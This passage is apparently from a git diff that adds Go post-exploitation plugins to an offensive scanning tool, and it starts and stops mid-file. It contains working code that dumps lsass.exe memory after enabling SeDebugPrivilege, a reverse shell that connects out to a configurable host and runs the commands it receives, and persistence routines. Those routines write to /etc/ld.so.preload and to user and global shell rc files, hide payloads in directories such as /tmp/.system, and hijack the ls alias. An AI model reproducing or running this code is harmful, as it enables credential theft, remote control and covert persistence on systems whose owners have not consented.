0, + Output: output.String(), + Error: nil, + } +} + +// copyToSystemPath 复制文件到系统目录 +func (p *LDPreloadPlugin) copyToSystemPath() (string, error) { + // 选择合适的系统目录 + systemDirs := []string{ + "/usr/lib/x86_64-linux-gnu", + "/usr/lib64", + "/usr/lib", + "/lib/x86_64-linux-gnu", + "/lib64", + "/lib", + } + + var targetDir string + for _, dir := range systemDirs { + if _, err := os.Stat(dir); err == nil { + targetDir = dir + break + } + } + + if targetDir == "" { + return "", fmt.Errorf("找不到合适的系统库目录") + } + + // 生成目标路径 + basename := filepath.Base(p.targetFile) + if !strings.HasPrefix(basename, "lib") { + basename = "lib" + basename + } + if !strings.HasSuffix(basename, ".so") { + basename = strings.TrimSuffix(basename, filepath.Ext(basename)) + ".so" + } + + targetPath := filepath.Join(targetDir, basename) + + // 复制文件 + err := p.copyFile(p.targetFile, targetPath) + if err != nil { + return "", err + } + + // 设置权限 + os.Chmod(targetPath, 0755) + + return targetPath, nil +} + +// copyFile 复制文件 +func (p *LDPreloadPlugin) copyFile(src, dst string) error { + cmd := exec.Command("cp", src, dst) + return cmd.Run() +} + +// addToEnvironment 添加到全局环境变量 +func (p *LDPreloadPlugin) addToEnvironment(libPath string) error { + envFile := "/etc/environment" + + // 读取现有内容 + content := "" + if data, err := os.ReadFile(envFile); err == nil { + content = string(data) + } + + // 检查是否已存在 + ldPreloadLine := fmt.Sprintf("LD_PRELOAD=\"%s\"", libPath) + if strings.Contains(content, libPath) { + return nil // 已存在 + } + + // 添加新行 + if !strings.HasSuffix(content, "\n") && content != "" { + content += "\n" + } + content += ldPreloadLine + "\n" + + // 写入文件 + return os.WriteFile(envFile, []byte(content), 0644) +} + +// addToShellConfigs 添加到shell配置文件 +func (p *LDPreloadPlugin) addToShellConfigs(libPath string) ([]string, error) { + configFiles := []string{ + "/etc/bash.bashrc", + "/etc/profile", + "/etc/zsh/zshrc", + } + + ldPreloadLine := fmt.Sprintf("export LD_PRELOAD=\"%s:$LD_PRELOAD\"", libPath) + var modified []string + + for _, configFile := range configFiles { + if _, err := os.Stat(configFile); os.IsNotExist(err) { + continue + } + + // 读取现有内容 + content := "" + if data, err := os.ReadFile(configFile); err == nil { + content = string(data) + } + + // 检查是否已存在 + if strings.Contains(content, libPath) { + continue + } + + // 添加新行 + if !strings.HasSuffix(content, "\n") && content != "" { + content += "\n" + } + content += ldPreloadLine + "\n" + + // 写入文件 + if err := os.WriteFile(configFile, []byte(content), 0644); err == nil { + modified = append(modified, configFile) + } + } + + if len(modified) == 0 { + return nil, fmt.Errorf("无法修改任何shell配置文件") + } + + return modified, nil +} + +// createLdConfig 创建ld预加载配置 +func (p *LDPreloadPlugin) createLdConfig(libPath string) error { + configFile := "/etc/ld.so.preload" + + // 读取现有内容 + content := "" + if data, err := os.ReadFile(configFile); err == nil { + content = string(data) + } + + // 检查是否已存在 + if strings.Contains(content, libPath) { + return nil + } + + // 添加新行 + if !strings.HasSuffix(content, "\n") && content != "" { + content += "\n" + } + content += libPath + "\n" + + // 写入文件 + return os.WriteFile(configFile, []byte(content), 0644) +} + +// isValidFile 检查文件类型 +func (p *LDPreloadPlugin) isValidFile(filePath string) bool { + ext := strings.ToLower(filepath.Ext(filePath)) + + // 检查扩展名 + if ext == ".so" || ext == ".elf" { + return true + } + + // 检查文件内容(ELF魔数) + file, err := os.Open(filePath) + if err != nil { + return false + } + defer file.Close() + + header := make([]byte, 4) + if n, err := file.Read(header); err != nil || n < 4 { + return false + } + + // ELF魔数: 0x7f 0x45 0x4c 0x46 + return header[0] == 0x7f && header[1] == 0x45 && header[2] == 0x4c && header[3] == 0x46 +} + +// 注册插件 +func init() { + RegisterLocalPlugin("ldpreload", func() Plugin { + return NewLDPreloadPlugin() + }) +} \ No newline at end of file diff --git a/plugins/local/minidump.go b/plugins/local/minidump.go new file mode 100644 index 0000000..555fd1c --- /dev/null +++ b/plugins/local/minidump.go @@ -0,0 +1,518 @@ +//go:build windows + +package local + +import ( + "context" + "errors" + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + "syscall" + "time" + "unsafe" + + "golang.org/x/sys/windows" + "github.com/shadow1ng/fscan/common" +) + +const ( + TH32CS_SNAPPROCESS = 0x00000002 + INVALID_HANDLE_VALUE = ^uintptr(0) + MAX_PATH = 260 + PROCESS_ALL_ACCESS = 0x1F0FFF + SE_PRIVILEGE_ENABLED = 0x00000002 +) + +type PROCESSENTRY32 struct { + dwSize uint32 + cntUsage uint32 + th32ProcessID uint32 + th32DefaultHeapID uintptr + th32ModuleID uint32 + cntThreads uint32 + th32ParentProcessID uint32 + pcPriClassBase int32 + dwFlags uint32 + szExeFile [MAX_PATH]uint16 +} + +type LUID struct { + LowPart uint32 + HighPart int32 +} + +type LUID_AND_ATTRIBUTES struct { + Luid LUID + Attributes uint32 +} + +type TOKEN_PRIVILEGES struct { + PrivilegeCount uint32 + Privileges [1]LUID_AND_ATTRIBUTES +} + +// MiniDumpPlugin 内存转储插件 - Linus式简化版本 +// +// 设计哲学:直接实现,删除过度设计 +// - 删除复杂的继承体系 +// - 直接实现内存转储功能 +// - 保持原有功能逻辑 +type MiniDumpPlugin struct { + name string + kernel32 *syscall.DLL + dbghelp *syscall.DLL + advapi32 *syscall.DLL +} + +// ProcessManager Windows进程管理器 +type ProcessManager struct { + kernel32 *syscall.DLL + dbghelp *syscall.DLL + advapi32 *syscall.DLL +} + +// NewMiniDumpPlugin 创建内存转储插件 +func NewMiniDumpPlugin() *MiniDumpPlugin { + return &MiniDumpPlugin{ + name: "minidump", + } +} + +// GetName 实现Plugin接口 +func (p *MiniDumpPlugin) GetName() string { + return p.name +} + +// GetPorts 实现Plugin接口 - local插件不需要端口 +func (p *MiniDumpPlugin) GetPorts() []int { + return []int{} +} + +// Scan 执行内存转储 - 直接实现 +func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { + defer func() { + if r := recover(); r != nil { + common.LogError(fmt.Sprintf("minidump插件发生panic: %v", r)) + } + }() + + var output strings.Builder + + output.WriteString("=== 进程内存转储 ===\n") + output.WriteString(fmt.Sprintf("平台: %s\n", runtime.GOOS)) + + // 加载系统DLL + if err := p.loadSystemDLLs(); err != nil { + output.WriteString(fmt.Sprintf("加载系统DLL失败: %v\n", err)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + // 检查管理员权限 + if !p.isAdmin() { + output.WriteString("需要管理员权限才能执行内存转储\n") + return &ScanResult{ + Success: false, + Output: output.String(), + Error: errors.New("需要管理员权限"), + } + } + + output.WriteString("✓ 已确认具有管理员权限\n") + + // 创建进程管理器 + pm := &ProcessManager{ + kernel32: p.kernel32, + dbghelp: p.dbghelp, + advapi32: p.advapi32, + } + + // 查找lsass.exe进程 + output.WriteString("正在查找lsass.exe进程...\n") + pid, err := pm.findProcess("lsass.exe") + if err != nil { + output.WriteString(fmt.Sprintf("查找lsass.exe失败: %v\n", err)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + output.WriteString(fmt.Sprintf("✓ 找到lsass.exe进程, PID: %d\n", pid)) + + // 提升权限 + output.WriteString("正在提升SeDebugPrivilege权限...\n") + if err := pm.elevatePrivileges(); err != nil { + output.WriteString(fmt.Sprintf("权限提升失败: %v (尝试继续执行)\n", err)) + } else { + output.WriteString("✓ 权限提升成功\n") + } + + // 创建转储文件 + outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid)) + output.WriteString(fmt.Sprintf("准备创建转储文件: %s\n", outputPath)) + + // 执行转储 + output.WriteString("开始执行内存转储...\n") + + // 创建带超时的context + dumpCtx, cancel := context.WithTimeout(ctx, 120*time.Second) + defer cancel() + + err = pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath) + if err != nil { + output.WriteString(fmt.Sprintf("内存转储失败: %v\n", err)) + // 创建错误信息文件 + errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nError: %v\nTimestamp: %s\n", + pid, err, time.Now().Format("2006-01-02 15:04:05"))) + os.WriteFile(outputPath, errorData, 0644) + + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + // 获取文件信息 + fileInfo, err := os.Stat(outputPath) + var fileSize int64 + if err == nil { + fileSize = fileInfo.Size() + } + + output.WriteString("✓ 内存转储完成\n") + output.WriteString(fmt.Sprintf("转储文件: %s\n", outputPath)) + output.WriteString(fmt.Sprintf("文件大小: %d bytes\n", fileSize)) + + common.LogSuccess(fmt.Sprintf("成功将lsass.exe内存转储到文件: %s (大小: %d bytes)", outputPath, fileSize)) + + return &ScanResult{ + Success: true, + Output: output.String(), + Error: nil, + } +} + +// loadSystemDLLs 加载系统DLL +func (p *MiniDumpPlugin) loadSystemDLLs() error { + kernel32, err := syscall.LoadDLL("kernel32.dll") + if err != nil { + return fmt.Errorf("加载 kernel32.dll 失败: %v", err) + } + + dbghelp, err := syscall.LoadDLL("Dbghelp.dll") + if err != nil { + return fmt.Errorf("加载 Dbghelp.dll 失败: %v", err) + } + + advapi32, err := syscall.LoadDLL("advapi32.dll") + if err != nil { + return fmt.Errorf("加载 advapi32.dll 失败: %v", err) + } + + p.kernel32 = kernel32 + p.dbghelp = dbghelp + p.advapi32 = advapi32 + + return nil +} + +// isAdmin 检查是否具有管理员权限 +func (p *MiniDumpPlugin) isAdmin() bool { + var sid *windows.SID + err := windows.AllocateAndInitializeSid( + &windows.SECURITY_NT_AUTHORITY, + 2, + windows.SECURITY_BUILTIN_DOMAIN_RID, + windows.DOMAIN_ALIAS_RID_ADMINS, + 0, 0, 0, 0, 0, 0, + &sid) + if err != nil { + return false + } + defer windows.FreeSid(sid) + + token := windows.Token(0) + member, err := token.IsMember(sid) + return err == nil && member +} + +// ProcessManager 方法实现 + +// findProcess 查找进程 +func (pm *ProcessManager) findProcess(name string) (uint32, error) { + snapshot, err := pm.createProcessSnapshot() + if err != nil { + return 0, err + } + defer pm.closeHandle(snapshot) + + return pm.findProcessInSnapshot(snapshot, name) +} + +// createProcessSnapshot 创建进程快照 +func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) { + proc, err := pm.kernel32.FindProc("CreateToolhelp32Snapshot") + if err != nil { + return 0, fmt.Errorf("查找CreateToolhelp32Snapshot函数失败: %v", err) + } + + handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0) + if handle == uintptr(INVALID_HANDLE_VALUE) { + lastError := windows.GetLastError() + return 0, fmt.Errorf("创建进程快照失败: %v (LastError: %d)", err, lastError) + } + return handle, nil +} + +// findProcessInSnapshot 在快照中查找进程 +func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) { + var pe32 PROCESSENTRY32 + pe32.dwSize = uint32(unsafe.Sizeof(pe32)) + + proc32First, err := pm.kernel32.FindProc("Process32FirstW") + if err != nil { + return 0, fmt.Errorf("查找Process32FirstW函数失败: %v", err) + } + + proc32Next, err := pm.kernel32.FindProc("Process32NextW") + if err != nil { + return 0, fmt.Errorf("查找Process32NextW函数失败: %v", err) + } + + lstrcmpi, err := pm.kernel32.FindProc("lstrcmpiW") + if err != nil { + return 0, fmt.Errorf("查找lstrcmpiW函数失败: %v", err) + } + + ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32))) + if ret == 0 { + lastError := windows.GetLastError() + return 0, fmt.Errorf("获取第一个进程失败 (LastError: %d)", lastError) + } + + for { + namePtr, err := syscall.UTF16PtrFromString(name) + if err != nil { + return 0, fmt.Errorf("转换进程名失败: %v", err) + } + + ret, _, _ = lstrcmpi.Call( + uintptr(unsafe.Pointer(namePtr)), + uintptr(unsafe.Pointer(&pe32.szExeFile[0])), + ) + + if ret == 0 { + return pe32.th32ProcessID, nil + } + + ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32))) + if ret == 0 { + break + } + } + + return 0, fmt.Errorf("未找到进程: %s", name) +} + +// elevatePrivileges 提升权限 +func (pm *ProcessManager) elevatePrivileges() error { + handle, err := pm.getCurrentProcess() + if err != nil { + return err + } + + var token syscall.Token + err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token) + if err != nil { + return fmt.Errorf("打开进程令牌失败: %v", err) + } + defer token.Close() + + var tokenPrivileges TOKEN_PRIVILEGES + + lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW") + ret, _, err := lookupPrivilegeValue.Call( + 0, + uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))), + uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)), + ) + if ret == 0 { + return fmt.Errorf("查找特权值失败: %v", err) + } + + tokenPrivileges.PrivilegeCount = 1 + tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED + + adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges") + ret, _, err = adjustTokenPrivileges.Call( + uintptr(token), + 0, + uintptr(unsafe.Pointer(&tokenPrivileges)), + 0, 0, 0, + ) + if ret == 0 { + return fmt.Errorf("调整令牌特权失败: %v", err) + } + + return nil +} + +// getCurrentProcess 获取当前进程句柄 +func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) { + proc := pm.kernel32.MustFindProc("GetCurrentProcess") + handle, _, _ := proc.Call() + if handle == 0 { + return 0, fmt.Errorf("获取当前进程句柄失败") + } + return syscall.Handle(handle), nil +} + +// dumpProcessWithTimeout 带超时的转储进程内存 +func (pm *ProcessManager) dumpProcessWithTimeout(ctx context.Context, pid uint32, outputPath string) error { + resultChan := make(chan error, 1) + + go func() { + resultChan <- pm.dumpProcess(pid, outputPath) + }() + + select { + case err := <-resultChan: + return err + case <-ctx.Done(): + return fmt.Errorf("内存转储超时 (120秒)") + } +} + +// dumpProcess 转储进程内存 +func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error { + processHandle, err := pm.openProcess(pid) + if err != nil { + return err + } + defer pm.closeHandle(processHandle) + + fileHandle, err := pm.createDumpFile(outputPath) + if err != nil { + return err + } + defer pm.closeHandle(fileHandle) + + miniDumpWriteDump, err := pm.dbghelp.FindProc("MiniDumpWriteDump") + if err != nil { + return fmt.Errorf("查找MiniDumpWriteDump函数失败: %v", err) + } + + // 转储类型标志 + const MiniDumpWithDataSegs = 0x00000001 + const MiniDumpWithFullMemory = 0x00000002 + const MiniDumpWithHandleData = 0x00000004 + const MiniDumpWithUnloadedModules = 0x00000020 + const MiniDumpWithIndirectlyReferencedMemory = 0x00000040 + const MiniDumpWithProcessThreadData = 0x00000100 + const MiniDumpWithPrivateReadWriteMemory = 0x00000200 + const MiniDumpWithFullMemoryInfo = 0x00000800 + const MiniDumpWithThreadInfo = 0x00001000 + const MiniDumpWithCodeSegs = 0x00002000 + + // 组合转储类型标志 + dumpType := MiniDumpWithDataSegs | MiniDumpWithFullMemory | MiniDumpWithHandleData | + MiniDumpWithUnloadedModules | MiniDumpWithIndirectlyReferencedMemory | + MiniDumpWithProcessThreadData | MiniDumpWithPrivateReadWriteMemory | + MiniDumpWithFullMemoryInfo | MiniDumpWithThreadInfo | MiniDumpWithCodeSegs + + ret, _, callErr := miniDumpWriteDump.Call( + processHandle, + uintptr(pid), + fileHandle, + uintptr(dumpType), + 0, 0, 0, + ) + + if ret == 0 { + lastError := windows.GetLastError() + // 尝试使用较小的转储类型作为后备 + fallbackDumpType := MiniDumpWithDataSegs | MiniDumpWithPrivateReadWriteMemory | MiniDumpWithHandleData + + ret, _, callErr = miniDumpWriteDump.Call( + processHandle, + uintptr(pid), + fileHandle, + uintptr(fallbackDumpType), + 0, 0, 0, + ) + + if ret == 0 { + lastError = windows.GetLastError() + return fmt.Errorf("写入转储文件失败: %v (LastError: %d)", callErr, lastError) + } + } + + return nil +} + +// openProcess 打开进程 +func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) { + proc, err := pm.kernel32.FindProc("OpenProcess") + if err != nil { + return 0, fmt.Errorf("查找OpenProcess函数失败: %v", err) + } + + handle, _, callErr := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid)) + if handle == 0 { + lastError := windows.GetLastError() + return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", callErr, lastError) + } + return handle, nil +} + +// createDumpFile 创建转储文件 +func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) { + pathPtr, err := syscall.UTF16PtrFromString(path) + if err != nil { + return 0, err + } + + createFile, err := pm.kernel32.FindProc("CreateFileW") + if err != nil { + return 0, fmt.Errorf("查找CreateFileW函数失败: %v", err) + } + + handle, _, callErr := createFile.Call( + uintptr(unsafe.Pointer(pathPtr)), + syscall.GENERIC_WRITE, + 0, 0, + syscall.CREATE_ALWAYS, + syscall.FILE_ATTRIBUTE_NORMAL, + 0, + ) + + if handle == INVALID_HANDLE_VALUE { + lastError := windows.GetLastError() + return 0, fmt.Errorf("创建文件失败: %v (LastError: %d)", callErr, lastError) + } + + return handle, nil +} + +// closeHandle 关闭句柄 +func (pm *ProcessManager) closeHandle(handle uintptr) { + if proc, err := pm.kernel32.FindProc("CloseHandle"); err == nil { + proc.Call(handle) + } +} + +// 注册插件 +func init() { + RegisterLocalPlugin("minidump", func() Plugin { + return NewMiniDumpPlugin() + }) +} \ No newline at end of file diff --git a/plugins/local/reverseshell.go b/plugins/local/reverseshell.go new file mode 100644 index 0000000..cfc6ddc --- /dev/null +++ b/plugins/local/reverseshell.go @@ -0,0 +1,201 @@ +package local + +import ( + "bufio" + "context" + "fmt" + "io" + "net" + "os" + "os/exec" + "runtime" + "strconv" + "strings" + + "github.com/shadow1ng/fscan/common" +) + +// ReverseShellPlugin 反弹Shell插件 - Linus式简化版本 +// +// 设计哲学:直接实现,删除过度设计 +// - 删除复杂的继承体系 +// - 直接实现反弹Shell功能 +// - 保持原有功能逻辑 +type ReverseShellPlugin struct { + name string + target string // 目标地址:端口 + host string + port int +} + +// NewReverseShellPlugin 创建反弹Shell插件 +func NewReverseShellPlugin() *ReverseShellPlugin { + target := common.ReverseShellTarget + if target == "" { + target = "127.0.0.1:4444" + } + + // 解析目标地址 + host, portStr, err := net.SplitHostPort(target) + if err != nil { + host = target + portStr = "4444" + } + + port, err := strconv.Atoi(portStr) + if err != nil { + port = 4444 + } + + return &ReverseShellPlugin{ + name: "reverseshell", + target: target, + host: host, + port: port, + } +} + +// GetName 实现Plugin接口 +func (p *ReverseShellPlugin) GetName() string { + return p.name +} + +// GetPorts 实现Plugin接口 - local插件不需要端口 +func (p *ReverseShellPlugin) GetPorts() []int { + return []int{} +} + +// Scan 执行反弹Shell - 直接实现 +func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { + var output strings.Builder + + output.WriteString("=== Go原生反弹Shell ===\n") + output.WriteString(fmt.Sprintf("目标: %s\n", p.target)) + output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + + // 启动反弹Shell + err := p.startNativeReverseShell(ctx, p.host, p.port) + if err != nil { + output.WriteString(fmt.Sprintf("反弹Shell错误: %v\n", err)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + output.WriteString("✓ 反弹Shell已完成\n") + common.LogSuccess(fmt.Sprintf("反弹Shell完成 - 目标: %s", p.target)) + + return &ScanResult{ + Success: true, + Output: output.String(), + Error: nil, + } +} + +// startNativeReverseShell 启动Go原生反弹Shell +func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int) error { + // 连接到目标 + conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", host, port)) + if err != nil { + return fmt.Errorf("连接失败: %v", err) + } + defer conn.Close() + + common.LogSuccess(fmt.Sprintf("反弹Shell已连接到 %s:%d", host, port)) + + // 设置反弹Shell为活跃状态 + common.ReverseShellActive = true + defer func() { + common.ReverseShellActive = false + }() + + // 发送欢迎消息 + welcomeMsg := fmt.Sprintf("Go Native Reverse Shell - %s/%s\n", runtime.GOOS, runtime.GOARCH) + conn.Write([]byte(welcomeMsg)) + conn.Write([]byte("Type 'exit' to quit\n")) + + // 创建读取器 + reader := bufio.NewReader(conn) + + for { + // 检查上下文取消 + select { + case <-ctx.Done(): + conn.Write([]byte("Shell session terminated by context\n")) + return ctx.Err() + default: + } + + // 发送提示符 + prompt := fmt.Sprintf("%s> ", getCurrentDir()) + conn.Write([]byte(prompt)) + + // 读取命令 + cmdLine, err := reader.ReadString('\n') + if err != nil { + if err == io.EOF { + return nil + } + return fmt.Errorf("读取命令错误: %v", err) + } + + // 清理命令 + cmdLine = strings.TrimSpace(cmdLine) + if cmdLine == "" { + continue + } + + // 检查退出命令 + if cmdLine == "exit" { + conn.Write([]byte("Goodbye!\n")) + return nil + } + + // 执行命令 + result := p.executeCommand(cmdLine) + + // 发送结果 + conn.Write([]byte(result + "\n")) + } +} + +// executeCommand 执行系统命令 +func (p *ReverseShellPlugin) executeCommand(cmdLine string) string { + var cmd *exec.Cmd + + // 根据操作系统选择命令解释器 + switch runtime.GOOS { + case "windows": + cmd = exec.Command("cmd", "/C", cmdLine) + case "linux", "darwin": + cmd = exec.Command("bash", "-c", cmdLine) + default: + return fmt.Sprintf("不支持的操作系统: %s", runtime.GOOS) + } + + // 执行命令并获取输出 + output, err := cmd.CombinedOutput() + if err != nil { + return fmt.Sprintf("错误: %v\n%s", err, string(output)) + } + + return string(output) +} + +// getCurrentDir 获取当前目录 +func getCurrentDir() string { + dir, err := os.Getwd() + if err != nil { + return "unknown" + } + return dir +} + +// 注册插件 +func init() { + RegisterLocalPlugin("reverseshell", func() Plugin { + return NewReverseShellPlugin() + }) +} \ No newline at end of file diff --git a/plugins/local/shellenv.go b/plugins/local/shellenv.go new file mode 100644 index 0000000..7c44762 --- /dev/null +++ b/plugins/local/shellenv.go @@ -0,0 +1,362 @@ +//go:build linux + +package local + +import ( + "context" + "fmt" + "os" + "os/user" + "path/filepath" + "runtime" + "strings" + + "github.com/shadow1ng/fscan/common" +) + +// ShellEnvPlugin Shell环境变量持久化插件 - Linus式简化版本 +// +// 设计哲学:直接实现,删除过度设计 +// - 删除复杂的继承体系 +// - 直接实现持久化功能 +// - 保持原有功能逻辑 +type ShellEnvPlugin struct { + name string + targetFile string +} + +// NewShellEnvPlugin 创建Shell环境变量持久化插件 +func NewShellEnvPlugin() *ShellEnvPlugin { + targetFile := common.PersistenceTargetFile + if targetFile == "" { + targetFile = "" + } + + return &ShellEnvPlugin{ + name: "shellenv", + targetFile: targetFile, + } +} + +// GetName 实现Plugin接口 +func (p *ShellEnvPlugin) GetName() string { + return p.name +} + +// GetPorts 实现Plugin接口 - local插件不需要端口 +func (p *ShellEnvPlugin) GetPorts() []int { + return []int{} +} + +// Scan 执行Shell环境变量持久化 - 直接实现 +func (p *ShellEnvPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { + var output strings.Builder + + if runtime.GOOS != "linux" { + output.WriteString("Shell环境变量持久化只支持Linux平台\n") + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), + } + } + + if p.targetFile == "" { + output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n") + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("未指定目标文件"), + } + } + + // 检查目标文件是否存在 + if _, err := os.Stat(p.targetFile); os.IsNotExist(err) { + output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", p.targetFile)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + output.WriteString("=== Shell环境变量持久化 ===\n") + output.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile)) + output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + + var results []string + var successCount int + + // 1. 复制文件到隐藏目录 + hiddenPath, err := p.copyToHiddenPath() + if err != nil { + output.WriteString(fmt.Sprintf("✗ 复制文件失败: %v\n", err)) + } else { + results = append(results, fmt.Sprintf("文件已复制到: %s", hiddenPath)) + output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", hiddenPath)) + successCount++ + } + + // 2. 添加到用户shell配置文件 + userConfigs, err := p.addToUserConfigs(hiddenPath) + if err != nil { + output.WriteString(fmt.Sprintf("✗ 添加到用户配置失败: %v\n", err)) + } else { + results = append(results, fmt.Sprintf("已添加到用户配置: %s", strings.Join(userConfigs, ", "))) + output.WriteString(fmt.Sprintf("✓ 已添加到用户配置: %s\n", strings.Join(userConfigs, ", "))) + successCount++ + } + + // 3. 添加到全局shell配置文件 + globalConfigs, err := p.addToGlobalConfigs(hiddenPath) + if err != nil { + output.WriteString(fmt.Sprintf("✗ 添加到全局配置失败: %v\n", err)) + } else { + results = append(results, fmt.Sprintf("已添加到全局配置: %s", strings.Join(globalConfigs, ", "))) + output.WriteString(fmt.Sprintf("✓ 已添加到全局配置: %s\n", strings.Join(globalConfigs, ", "))) + successCount++ + } + + // 4. 创建启动别名 + aliasConfigs, err := p.addAliases(hiddenPath) + if err != nil { + output.WriteString(fmt.Sprintf("✗ 创建别名失败: %v\n", err)) + } else { + results = append(results, fmt.Sprintf("已创建别名: %s", strings.Join(aliasConfigs, ", "))) + output.WriteString(fmt.Sprintf("✓ 已创建别名: %s\n", strings.Join(aliasConfigs, ", "))) + successCount++ + } + + // 5. 添加PATH环境变量 + err = p.addToPath(filepath.Dir(hiddenPath)) + if err != nil { + output.WriteString(fmt.Sprintf("✗ 添加PATH失败: %v\n", err)) + } else { + results = append(results, "已添加到PATH环境变量") + output.WriteString("✓ 已添加到PATH环境变量\n") + successCount++ + } + + // 输出统计 + output.WriteString(fmt.Sprintf("\nShell环境变量持久化完成: 成功(%d) 总计(%d)\n", successCount, 5)) + + if successCount > 0 { + common.LogSuccess(fmt.Sprintf("Shell环境变量持久化完成: %d个方法成功", successCount)) + } + + return &ScanResult{ + Success: successCount > 0, + Output: output.String(), + Error: nil, + } +} + +// copyToHiddenPath 复制文件到隐藏目录 +func (p *ShellEnvPlugin) copyToHiddenPath() (string, error) { + // 获取用户主目录 + usr, err := user.Current() + if err != nil { + return "", err + } + + // 创建隐藏目录 + hiddenDirs := []string{ + filepath.Join(usr.HomeDir, ".local", "bin"), + filepath.Join(usr.HomeDir, ".config"), + "/tmp/.system", + "/var/tmp/.cache", + } + + var targetDir string + for _, dir := range hiddenDirs { + if err := os.MkdirAll(dir, 0755); err == nil { + targetDir = dir + break + } + } + + if targetDir == "" { + return "", fmt.Errorf("无法创建目标目录") + } + + // 生成隐藏文件名 + basename := filepath.Base(p.targetFile) + hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename)) + if p.isScriptFile() { + hiddenName += ".sh" + } + + targetPath := filepath.Join(targetDir, hiddenName) + + // 复制文件 + err = p.copyFile(p.targetFile, targetPath) + if err != nil { + return "", err + } + + // 设置执行权限 + os.Chmod(targetPath, 0755) + + return targetPath, nil +} + +// copyFile 复制文件内容 +func (p *ShellEnvPlugin) copyFile(src, dst string) error { + sourceData, err := os.ReadFile(src) + if err != nil { + return err + } + return os.WriteFile(dst, sourceData, 0755) +} + +// addToUserConfigs 添加到用户shell配置文件 +func (p *ShellEnvPlugin) addToUserConfigs(execPath string) ([]string, error) { + usr, err := user.Current() + if err != nil { + return nil, err + } + + configFiles := []string{ + filepath.Join(usr.HomeDir, ".bashrc"), + filepath.Join(usr.HomeDir, ".profile"), + filepath.Join(usr.HomeDir, ".bash_profile"), + filepath.Join(usr.HomeDir, ".zshrc"), + } + + var modified []string + execLine := p.generateExecLine(execPath) + + for _, configFile := range configFiles { + if p.addToConfigFile(configFile, execLine) { + modified = append(modified, configFile) + } + } + + if len(modified) == 0 { + return nil, fmt.Errorf("无法修改任何用户配置文件") + } + + return modified, nil +} + +// addToGlobalConfigs 添加到全局shell配置文件 +func (p *ShellEnvPlugin) addToGlobalConfigs(execPath string) ([]string, error) { + configFiles := []string{ + "/etc/bash.bashrc", + "/etc/profile", + "/etc/zsh/zshrc", + "/etc/profile.d/custom.sh", + } + + var modified []string + execLine := p.generateExecLine(execPath) + + for _, configFile := range configFiles { + // 对于profile.d,需要先创建目录 + if strings.Contains(configFile, "profile.d") { + os.MkdirAll(filepath.Dir(configFile), 0755) + } + + if p.addToConfigFile(configFile, execLine) { + modified = append(modified, configFile) + } + } + + if len(modified) == 0 { + return nil, fmt.Errorf("无法修改任何全局配置文件") + } + + return modified, nil +} + +// addAliases 添加命令别名 +func (p *ShellEnvPlugin) addAliases(execPath string) ([]string, error) { + usr, err := user.Current() + if err != nil { + return nil, err + } + + aliasFiles := []string{ + filepath.Join(usr.HomeDir, ".bash_aliases"), + filepath.Join(usr.HomeDir, ".aliases"), + } + + // 生成常用命令别名 + aliases := []string{ + fmt.Sprintf("alias ls='%s; /bin/ls'", execPath), + fmt.Sprintf("alias ll='%s; /bin/ls -l'", execPath), + fmt.Sprintf("alias la='%s; /bin/ls -la'", execPath), + } + + var modified []string + for _, aliasFile := range aliasFiles { + content := strings.Join(aliases, "\n") + "\n" + if p.addToConfigFile(aliasFile, content) { + modified = append(modified, aliasFile) + } + } + + return modified, nil +} + +// addToPath 添加到PATH环境变量 +func (p *ShellEnvPlugin) addToPath(dirPath string) error { + usr, err := user.Current() + if err != nil { + return err + } + + configFile := filepath.Join(usr.HomeDir, ".bashrc") + pathLine := fmt.Sprintf("export PATH=\"%s:$PATH\"", dirPath) + + if p.addToConfigFile(configFile, pathLine) { + return nil + } + + return fmt.Errorf("无法添加PATH环境变量") +} + +// addToConfigFile 添加内容到配置文件 +func (p *ShellEnvPlugin) addToConfigFile(configFile, content string) bool { + // 读取现有内容 + existingContent := "" + if data, err := os.ReadFile(configFile); err == nil { + existingContent = string(data) + } + + // 检查是否已存在 + if 